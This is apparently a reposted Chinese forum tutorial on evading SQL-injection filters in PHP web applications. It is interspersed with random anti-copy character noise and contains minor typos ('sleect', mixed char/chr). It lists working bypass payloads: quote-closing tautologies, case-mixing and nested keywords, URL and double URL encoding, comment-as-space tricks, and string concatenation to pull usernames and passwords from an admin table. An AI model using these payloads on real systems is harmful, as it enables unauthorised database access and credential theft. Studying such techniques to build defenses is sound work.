PHP中SQL注入，绕开过滤，照样注入

admin

SQL注入。有攻有防。知道进攻。才懂得防守.

5 n, u$ ~5 [2 R$ g有的时候，很容易受到SQL注入攻击的程序，可能会进行输入过滤，用来防止攻击者无限制的利用其中存在的设计缺陷。
8 I* q+ K1 d1 r# x8 n% _. j
唱出会删除或者净化一些字符，或者阻止常用的sql关键词。

" X( \( @9 x3 [; e6 d我们通常有以下几种技巧，去避开这些过滤。
5 T7 F' H  }2 |
& V  r$ W0 a  g; U1，避免使用被阻止的字符，即不使用这些字符仍然达到攻击目的。
5 y; `4 a9 J5 \9 b, b7 O2 D
$ J$ ?9 G% \/ E6 H; mA，如果注入一个数字数据字段，就不需要使用单引号。

B，输入注释符号被阻止使用，我们可以设计注入的数据，既不破坏周围的查询语法。

比如， ?id=1′ 这里存在注入，过滤了注释符合，我们可以输入 ?id=1′ or ‘a’=’a
% e& n0 j. B/ Y* P# r1 F2 {
" M) M2 M+ X% R* ]' Q4 b目的其实很简单，就是把后面的单引号给闭合掉。
# M1 g$ c0 ]0 {5 s* t  y7 z, X9 R
C，在一个MSSQL注入中注入批量查询的时候，不必使用分号分隔符。

只要纠正所有批量查询的语法，无论你是否使用分号，查询的解析器依然能正确的去解释它们的。
0 K4 b  A" i& S$ n
2，避免使用简单确认

一些输入确认机制使用一个简单的黑名单，组织或删除任何出现在这个名单中的数据，比如防注入程序。
( A5 ~) f- r3 L4 h5 L" C6 r
这一般要看这个机制是否做的足够的好了，黑名单是否足够能确保安全。如果只是简单的黑名单，那也有机会突破的。

5 ~* c% @& V: s& RA，如果select关键词被阻止或删除

( K; D; @, Y& D3 s我们可以输入：

, w( N7 s/ R' p1 FSeLeCt       注意大小写
0 c/ v: e8 p- [# Z
6 d! d: v$ V  R* ]- Lselselectect    还记得ewebeditor是怎么过滤asp的么？
# t0 A) Q# w3 D2 I! ^* T
( W6 @: T  ?* m, P  f6 s%53%45%4c%45%43%54                        URL编码

%2553%2545%254c%2545%2543%2554    对上面的每个%后加了一个25
# `7 R3 k" v! L, |
+ `7 X8 M5 u3 C' ?3，使用SQL注释符

A,使用注释来冒充注入的数据中的空格。
2 ^3 O- c& Y3 h: {9 {* w- {* F* |
& ?8 \2 i( `4 v8 W6 ~select/*yesu*/username,password/*yesu*/from/*yesu*/admin
; b' z! O( O! @7 D" [
" C; \4 Y( T8 \" u( t( A, P/*yesu*/来冒充空格

B,使用注释来避开某些注入的确认过滤。

SEL/*yesu*/ECT username,password fr/*yesu*/om admin

2 d$ j/ ?7 [0 U+ J/ ?$ q4,处理被阻止的字符串
% _+ f" j: `3 M# k( R: |
比如，程序阻止了admin，因为怕攻击者注入admin表单中的数据。

我们可以这样

A，oracle数据库： ‘adm’||’in’

+ y6 U2 S, C( D3 f! U& E" iB,MSSQL数据库： ‘adm’+’in’

8 h  w. \/ K. j1 y" P, T8 VC,MYSQL数据库： concat (‘adm’,’in’)

5 Q$ `0 r- v" f. l$ _$ XD,oracle中如果单引号被阻止了，还可以用chr函数
2 O4 k! U# p4 O
( z( r! ^' m# J0 fsleect password from admin where username = char(97) || chr(100) || chr(109) || chr(105) || chr(110)
) v' `& r. R, e8 N
还有其他方法。正在收集中.

  o% l$ N  L, I* B+ h9 f